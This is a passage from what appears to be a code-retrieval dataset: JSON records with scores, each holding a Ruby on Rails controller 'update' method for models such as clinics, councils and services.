}, { "docid": "2cff9ea02bb786d3463766a4aed8dc76", "score": "0.65795285", "text": "def update\n @estado_civil = EstadoCivil.find(params[:id])\n\n respond_to do |format|\n if @estado_civil.update_attributes(params[:estado_civil])\n format.html { redirect_to @estado_civil, notice: 'Estado civil was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estado_civil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20e75c16148b7af4b44c49e667b7efe1", "score": "0.64831394", "text": "def update\n @council = Council.find(params[:id])\n\n respond_to do |format|\n if @council.update_attributes(params[:council])\n format.html { redirect_to @council, notice: 'Žákovská rada byla úspěšně upravena.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @council.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f41cac797e6a8f162a9dd43c291afb73", "score": "0.6390225", "text": "def update\n @council = Council.find(params[:id])\n\n respond_to do |format|\n if @council.update_attributes(params[:council])\n format.html { redirect_to @council, :notice => 'Council was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @council.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2572fb900123dab962d92dfd5cd31505", "score": "0.6320566", "text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend", "title": "" }, { "docid": "7b09b1a857f744df949cf43cb56dd8be", "score": "0.6307279", "text": "def update\n @estado_civil = EstadoCivil.find(params[:id])\n\n respond_to do |format|\n if @estado_civil.update_attributes(params[:estado_civil])\n format.html { redirect_to(@estado_civil, :notice => 'Estado civil was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estado_civil.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3795726e4ab1dc3dd2fdf636290c4e50", "score": "0.6297452", "text": "def update\n respond_to do |format|\n if @client_etats_civil.update(client_etats_civil_params)\n format.html { redirect_to @client_etats_civil, notice: 'Client etats civil was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_etats_civil }\n else\n format.html { render :edit }\n format.json { render json: @client_etats_civil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea416b077fa0aa7e84ec3fe2ef9c3772", "score": "0.62888855", "text": "def put\n request_method('PUT')\n end", "title": "" }, { "docid": "eaeb3bcf0a5ca76ea4a5f9ffd3ddd8e6", "score": "0.62836736", "text": "def update\n respond_to do |format|\n if @clients_etats_civil.update(clients_etats_civil_params)\n format.html { redirect_to @clients_etats_civil, notice: 'Clients etats civil was successfully updated.' }\n format.json { render :show, status: :ok, location: @clients_etats_civil }\n else\n format.html { render :edit }\n format.json { render json: @clients_etats_civil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5d287d72ba5f4e2910c4cb2ecdf63ea", "score": "0.6269653", "text": "def update\r\n respond_to do |format|\r\n if @sivic_curso.update(sivic_curso_params)\r\n format.html { redirect_to @sivic_curso, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_curso.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "d7cba9458c9ad13f35efdfcc7f330c1d", "score": "0.6267496", "text": "def update\n @crime = Crime.find(params[:id])\n\n if @crime.update(params[:crime])\n head :no_content\n else\n render json: @crime.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9f5b47603da522f004ac2af4d0bcd237", "score": "0.626236", "text": "def update\r\n respond_to do |format|\r\n if @sivic_licao.update(sivic_licao_params)\r\n format.html { redirect_to @sivic_licao, notice: 'Sivic licao was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_licao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "ce6584f2eadd0e02e9a0c46cc38b9a0e", "score": "0.6248674", "text": "def update\n @convenio = Convenio.find(params[:id])\n\n respond_to do |format|\n if @convenio.update_attributes(params[:convenio])\n format.html { redirect_to @convenio, notice: 'Convenio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @convenio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bde526dbcf4dd9b5bda9d97a75fd1dcd", "score": "0.6208575", "text": "def update\n respond_to do |format|\n if @icicle.update(icicle_params)\n format.html { redirect_to @icicle, notice: 'Icicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @icicle }\n else\n format.html { render :edit }\n format.json { render json: @icicle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74cbb7a2180160d128d3138ad359d4dd", "score": "0.6195371", "text": "def update\r\n respond_to do |format|\r\n if @sivic_category.update(sivic_category_params)\r\n format.html { redirect_to @sivic_category, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_category.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "25ca61e7cb1bf852b637b48ecda0fdb5", "score": "0.6192206", "text": "def set_civic\n @civic = Civic.find(params[:id])\n end", "title": "" }, { "docid": "2beb9c36d1483cf9f9f858e4023cd4f0", "score": "0.61905116", "text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n format.html { redirect_to @servico, notice: 'Servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2beb9c36d1483cf9f9f858e4023cd4f0", "score": "0.61905116", "text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n format.html { redirect_to @servico, notice: 'Servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a2dd3fec0282e339d314ee6c28d8729", "score": "0.6188745", "text": "def update\n respond_to do |format|\n if @estados_civil.update(estados_civil_params)\n format.html { redirect_to @estados_civil, notice: 'El Estado Civil se ha actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @estados_civil }\n else\n format.html { render :edit }\n format.json { render json: @estados_civil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "547983de54f9145817f46fbc243e05b4", "score": "0.61885786", "text": "def update\n @comic = Comic.find(params[:id])\n\n if @comic.update(comic_params)\n render json: (render_to_string(partial: 'comic', locals: { comic: @comic })), status: :ok\n else\n render json: @comic.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f69bdd9a9a88e6705db438c1bc347967", "score": "0.6182916", "text": "def update\n @caso = Caso.find(params[:id])\n\n respond_to do |format|\n if @caso.update_attributes(params[:caso])\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b363c81837236ae516c8cbd87565f89", "score": "0.61788696", "text": "def update\r\n respond_to do |format|\r\n if @sivic_contato.update(sivic_contato_params)\r\n format.html { redirect_to @sivic_contato, notice: 'Sivic contato was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_contato.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "9ef730f999872950d3bed027a993114d", "score": "0.6171623", "text": "def update\n respond_to do |format|\n if @council.update(council_params)\n format.html { redirect_to @council, notice: 'Council was successfully updated.' }\n format.json { render :show, status: :ok, location: @council }\n else\n format.html { render :edit }\n format.json { render json: @council.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8d67382fca7be5e1cc06f4e4db32f7e", "score": "0.61487013", "text": "def update\n @clinic = Clinic.find(params[:id])\n\n respond_to do |format|\n if @clinic.update_attributes(params[:clinic])\n format.html { redirect_to @clinic, notice: 'Clinic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "587dc9f0563ef0779bc576eb3ad41199", "score": "0.61438626", "text": "def update\n @inventario = Inventario.find(params[:id])\n\n respond_to do |format|\n if @inventario.update_attributes(params[:inventario])\n format.html { redirect_to @inventario, notice: 'Inventario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inventario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2befa88abd55dbc32da74c25e34871e", "score": "0.6128101", "text": "def update\n respond_to do |format|\n if @council.update(council_params)\n format.html { redirect_to edit_council_path(@council), notice: 'Utskott uppdaterades!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @council.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36425ac5f583abed249c631a73bc491e", "score": "0.6127724", "text": "def update\n respond_to do |format|\n if @veiculo.update(veiculo_params)\n format.html { redirect_to @veiculo, notice: 'Veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @veiculo }\n else\n format.html { render :edit }\n format.json { render json: @veiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36425ac5f583abed249c631a73bc491e", "score": "0.6127724", "text": "def update\n respond_to do |format|\n if @veiculo.update(veiculo_params)\n format.html { redirect_to @veiculo, notice: 'Veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @veiculo }\n else\n format.html { render :edit }\n format.json { render json: @veiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84d9403fc98164fb67bf0086861837f5", "score": "0.61250675", "text": "def update\n @curriculo = Curriculo.find(params[:id])\n\n respond_to do |format|\n if @curriculo.update_attributes(params[:curriculo])\n format.html { redirect_to @curriculo, notice: 'Curriculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @curriculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "470369b7ff586fc5881b51a88bb20440", "score": "0.6122097", "text": "def update\n authorize! :update, CompetenceType\n @competence_type.update!(competence_type_params)\n render json: {status: :ok}\n end", "title": "" }, { "docid": "9abcc5f09b57865f12871be7a159fb35", "score": "0.611201", "text": "def update\n @clide = Clide.find(params[:id])\n\n respond_to do |format|\n if @clide.update_attributes(params[:clide])\n format.html { redirect_to @clide, notice: 'Clide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clide.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9939d104cc69ee0603b44e21eac25e30", "score": "0.61035633", "text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n format.html { redirect_to @servico, notice: 'Servico foi atualiazado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bbc2693e33f6bce3eb31defb41aa437", "score": "0.60990727", "text": "def update\n @violence_act = ViolenceAct.find(params[:id])\n\n if @violence_act.update(violence_act_params)\n head :no_content\n else\n render json: @violence_act.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a4f8efe1a86800509d57608dde4255eb", "score": "0.60953563", "text": "def update\n respond_to do |format|\n if @clinic.update(clinic_params)\n format.html { redirect_to @clinic, notice: 'Clinic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clinic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6623931214ec4e2030fe52a1abd95bae", "score": "0.6085853", "text": "def update\n @clinic_info = ClinicInfo.find(params[:id])\n\n respond_to do |format|\n if @clinic_info.update_attributes(params[:clinic_info])\n format.html { redirect_to @clinic_info, notice: 'Clinic info was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinic_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e50f0152763c68b31752e86f07e6ee6", "score": "0.6081515", "text": "def update\n @occasion = Occasion.find(params[:id])\n\n respond_to do |format|\n if @occasion.update_attributes(params[:occasion])\n format.html { redirect_to @occasion, notice: 'Occasion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc177ff2f6a0d9e654162e945bcbf628", "score": "0.6076688", "text": "def update\n @ice = Ice.find(params[:id])\n\n respond_to do |format|\n if @ice.update_attributes(params[:ice])\n format.html { redirect_to @ice, :notice => 'Ice was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ice.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c2caf8aab75d755dca5234bf04805e6", "score": "0.6072867", "text": "def update\n @contract = Contract.find(params[:id])\n \n if @contract.update(contract_params)\n render json: @contract, status: :ok \n else\n render json: @contract.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ba22641bc0b9014e7348a7c72449706e", "score": "0.607035", "text": "def update\n @initiative = Initiative.find(params[:id])\n\n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bde4a23b195ba83bcb52be2fffefc1c1", "score": "0.60679585", "text": "def update\n respond_to do |format|\n if @cio.update(cio_params)\n format.html { redirect_to @cio, notice: 'Cio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9c727bdeea2709960cc3668b038cd4e", "score": "0.60667473", "text": "def update\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n if @comic.update_attributes(params[:comic])\n format.html { redirect_to @comic, notice: 'Comic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cf4099e532bf79be32896520e049f68", "score": "0.6056078", "text": "def update\n authorize! :update, CompetenceTier\n \n @competence_tier.update!(competence_tier_params)\n render json: {status: :ok}\n end", "title": "" }, { "docid": "0521dd0735f4c66cb2f85b62f300a7ef", "score": "0.60419816", "text": "def update\n respond_to do |format|\n if @sivic_atividade.update(sivic_atividade_params)\n format.html { redirect_to @sivic_atividade, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_atividade.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d217d5583a92851cae986efb72ea3738", "score": "0.6041467", "text": "def update\n @clinica = Clinica.find(params[:id])\n\n respond_to do |format|\n if @clinica.update_attributes(params[:clinica])\n format.html { redirect_to @clinica, notice: 'Clinica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinica.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ed51d7a56d6a22e7614b4c1b3e3bcc7", "score": "0.6038863", "text": "def update\n respond_to do |format|\n if @vial.update(vial_params)\n format.html { redirect_to @vial, notice: 'Vial was successfully updated.' }\n format.json { render :show, status: :ok, location: @vial }\n else\n format.html { render :edit }\n format.json { render json: @vial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e74575f06d81ff280d0f4f6e2a0152e", "score": "0.6033016", "text": "def update\n @coil = Coil.find(params[:id])\n\n respond_to do |format|\n if @coil.update_attributes(params[:coil])\n format.html { redirect_to @coil, notice: 'Coil was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "774deb44987a01202d5cd3906fce7eda", "score": "0.60328287", "text": "def update\n @casino = Casino.find(params[:id])\n\n respond_to do |format|\n if @casino.update_attributes(params[:casino])\n format.html { redirect_to @casino, notice: 'Casino was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @casino.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e9477ccfc48f95f8ab8531d7f229105", "score": "0.6032335", "text": "def update\n authorize @ico\n respond_to do |format|\n if @ico.update(ico_params)\n format.html { redirect_to @ico, notice: 'Ico was successfully updated.' }\n format.json { render :show, status: :ok, location: @ico }\n else\n format.html { render :edit }\n format.json { render json: @ico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c35f89f4e93251128bbf53c08021b3d", "score": "0.6027492", "text": "def update\n @company_id = company_params[:company_id]\n @reponse = HTTParty.put(\"https://rails-api-ipo.herokuapp.com/api/v1/companies/#{@company_id}.json\",\n :body => {:company_name => company_params[:company_name]}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/companies/'+(@reponse['id'].to_s), notice: 'Company was successfully created.' }\n end\n end", "title": "" }, { "docid": "2ef3b46c68442a295d362ad2f2ef187b", "score": "0.6024777", "text": "def update\r\n respond_to do |format|\r\n if @sivic_inscricao.update(sivic_inscricao_params)\r\n format.html { redirect_to @sivic_inscricao, notice: 'Sivic inscricao was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_inscricao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "c87bf5ad711624af60e1229965fe0300", "score": "0.6017901", "text": "def update\n @incentive = Incentive.find(params[:id])\n\n respond_to do |format|\n if @incentive.update_attributes(params[:incentive])\n format.html { redirect_to [@smb, @selector, @incentive], :notice => 'Incentive was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @incentive.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c471e192445fe12cda7502a8ee796db0", "score": "0.6012229", "text": "def update\n respond_to do |format|\n if @icat.update(icat_params)\n format.html { redirect_to @icat, notice: 'Icat was successfully updated.' }\n format.json { render :show, status: :ok, location: @icat }\n else\n format.html { render :edit }\n format.json { render json: @icat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8030b6a3a618d66537d0f1f7e1a4175e", "score": "0.6004209", "text": "def update\n @oficio = Oficio.find(params[:id])\n\n respond_to do |format|\n if @oficio.update_attributes(params[:oficio])\n format.html { redirect_to @oficio, notice: 'Oficio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oficio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a8a9d11b03873dcc95b80c28e808e63", "score": "0.59973574", "text": "def update\n respond_to do |format|\n if @convenio.update(convenio_params)\n format.html { redirect_to @convenio, notice: 'Convenio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @convenio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1326bf4a921a2c1a7718ad3815ab546a", "score": "0.5991198", "text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to @servico, notice: 'Serviço alterado com sucesso!' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c521cd691b1691dd15803ed7fd471545", "score": "0.598997", "text": "def update\n respond_to do |format|\n if @sivic_situacaoatividade.update(sivic_situacaoatividade_params)\n format.html { redirect_to @sivic_situacaoatividade, notice: 'Sivic situacaoatividade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_situacaoatividade.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71548a3a4874d912d735e12e13c9f35", "score": "0.5989201", "text": "def update\n respond_to do |format|\n if @clinic.update(clinic_params)\n format.html { redirect_to @clinic, notice: 'Clinic was successfully updated.' }\n format.json { render :show, status: :ok, location: @clinic }\n else\n format.html { render :edit }\n format.json { render json: @clinic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71548a3a4874d912d735e12e13c9f35", "score": "0.5989201", "text": "def update\n respond_to do |format|\n if @clinic.update(clinic_params)\n format.html { redirect_to @clinic, notice: 'Clinic was successfully updated.' }\n format.json { render :show, status: :ok, location: @clinic }\n else\n format.html { render :edit }\n format.json { render json: @clinic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71548a3a4874d912d735e12e13c9f35", "score": "0.5989201", "text": "def update\n respond_to do |format|\n if @clinic.update(clinic_params)\n format.html { redirect_to @clinic, notice: 'Clinic was successfully updated.' }\n format.json { render :show, status: :ok, location: @clinic }\n else\n format.html { render :edit }\n format.json { render json: @clinic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3617d428e79e05def5b33b3391dc7f30", "score": "0.5985829", "text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to @servico, notice: 'Servico was successfully updated.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25e54c955ecec6dc3539a787bc24c29c", "score": "0.5984916", "text": "def update\n @catogiry = Catogiry.find(params[:id])\n\n respond_to do |format|\n if @catogiry.update_attributes(params[:catogiry])\n format.html { redirect_to @catogiry, notice: 'Catogiry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catogiry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc41cbd4b35eb1ea685c9ed09e7b67c7", "score": "0.598475", "text": "def update\n @cooperativa = Cooperativa.find(params[:id])\n\n respond_to do |format|\n if @cooperativa.update_attributes(params[:cooperativa])\n format.html { redirect_to @cooperativa, :notice => 'Cooperativa was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cooperativa.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "135d838074573f9ce9db7892042ed33c", "score": "0.5984106", "text": "def update\n respond_to do |format|\n if @comentariu_capitol.update(comentariu_capitol_params)\n format.html { redirect_to @comentariu_capitol, notice: 'Comentariu capitol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @comentariu_capitol.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23938c68ef9abf0f7f952b2be1a5b0e8", "score": "0.5978964", "text": "def update\n @pelicula = Pelicula.find(params[:id])\n @pelicula.update(update_params)\n render json: @pelicula, status: :ok\n end", "title": "" }, { "docid": "7f3e88b95baa1f7ff57cf7e6ea5a07ba", "score": "0.5975945", "text": "def update\n respond_to do |format|\n if @cic.update(cic_params)\n format.html { redirect_to @cic, notice: 'Cic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9bb3b5d6480bb95ea561a48db6e6263e", "score": "0.59736705", "text": "def set_civilian\n @civilian = Civilian.find(params[:id])\n end", "title": "" }, { "docid": "f8afe9774a39d59d3483a651eefad753", "score": "0.5973576", "text": "def update\n @civil_state = CivilState.find(params[:id])\n\n respond_to do |format|\n if @civil_state.update_attributes(params[:civil_state])\n format.html { redirect_to @civil_state, notice: 'Civil state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @civil_state.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c39d62089914e5ca11ac65511ea672b", "score": "0.5973524", "text": "def update\n cat = Cat.find(params[:id])\n if cat.update(cat_params)\n render json: cat, status: 200\n else\n render json: cat, status: 422\n end\n end", "title": "" }, { "docid": "0613b9565a673d66368f5f5d96aeb494", "score": "0.5961385", "text": "def update\n @incentive = Incentive.find(params[:id])\n\n respond_to do |format|\n if @incentive.update_attributes(params[:incentive])\n format.html { redirect_to @incentive, notice: 'Incentive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incentive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3a1cf36b22aa0d1c938914d62fd8759", "score": "0.59580535", "text": "def update\n respond_to do |format|\n if @vito.update(vito_params)\n format.html { redirect_to @vito, notice: 'Vito was successfully updated.' }\n format.json { render :show, status: :ok, location: @vito }\n else\n format.html { render :edit }\n format.json { render json: @vito.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b915317bafa3e1970b52fa0da732e07c", "score": "0.59579176", "text": "def update\n @recip = Recip.find(params[:id])\n\n if @recip.update(recip_params)\n head :no_content\n else\n render json: @recip.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dedaa01a41e98086ac2680d65e3a80a7", "score": "0.5954768", "text": "def update\n respond_to do |format|\n if @vocable.update(vocable_params)\n format.html { redirect_to @vocable, notice: 'Vocable was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocable }\n else\n format.html { render :edit }\n format.json { render json: @vocable.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89378ed016c8bbb8573b68ffcdb7c497", "score": "0.59544253", "text": "def update\n respond_to do |format|\n debugger\n if @comic.update(comic_params)\n format.html { redirect_to @comic, notice: 'Comic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @comic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "504bcbbf7653b1901ee5b3c2ddda2318", "score": "0.595298", "text": "def update\n respond_to do |format|\n if @colegio.update(colegio_params)\n format.html { redirect_to @colegio, notice: 'Colegio was successfully updated.' }\n format.json { render :show, status: :ok, location: @colegio }\n else\n format.html { render :edit }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "504bcbbf7653b1901ee5b3c2ddda2318", "score": "0.595298", "text": "def update\n respond_to do |format|\n if @colegio.update(colegio_params)\n format.html { redirect_to @colegio, notice: 'Colegio was successfully updated.' }\n format.json { render :show, status: :ok, location: @colegio }\n else\n format.html { render :edit }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47418efbf6d442743c78b543d420f001", "score": "0.59514254", "text": "def update\n authorize_initiative\n respond_to do |format|\n if @initiative.update(initiative_params)\n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fae48967bdb49d24ceb8f8cc6d2f51a", "score": "0.595105", "text": "def update\n @vocacionado = Vocacionado.find(params[:id])\n\n respond_to do |format|\n if @vocacionado.update_attributes(params[:vocacionado])\n format.html { redirect_to vocacionados_url }\n flash[:notice] = \"Registro alterado com sucesso!\"\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vocacionado.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08e1eee08b034371ba61f3462a3d4714", "score": "0.5948259", "text": "def update\n respond_to do |format|\n if @comentario.update(comentario_params)\n format.html { redirect_to @local, notice: 'Comentario fue editado.' }\n else\n format.html { render :edit }\n end\n format.json { respond_with_bip(@comentario) }\n end\n end", "title": "" }, { "docid": "5adfab8b284d5fbe4bcdc307687d2aa3", "score": "0.5946954", "text": "def update\n @opcion = Opcion.find(params[:id])\n\n if @opcion.update(params[:opcion])\n head :no_content\n else\n render json: @opcion.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2a750b18dee3702af2327575ff8b8e69", "score": "0.59405094", "text": "def update\n respond_to do |format|\n if @curriculo.update(curriculo_params)\n format.html { redirect_to @curriculo, notice: 'Curriculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @curriculo }\n else\n format.html { render :edit }\n format.json { render json: @curriculo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d24afcaa61e2529820edae620ee3f941", "score": "0.5938863", "text": "def update\n respond_to do |format|\n if @sivic_atividadepessoa.update(sivic_atividadepessoa_params)\n format.html { redirect_to @sivic_atividadepessoa, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_atividadepessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47e4f698013b6873a59111e77a123142", "score": "0.593684", "text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to @servico, notice: 'Serviço foi atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80550ae5f6257445257c0ac2f58b711c", "score": "0.5930678", "text": "def update\n @catalogo = Catalogo.find(params[:id])\n\n respond_to do |format|\n 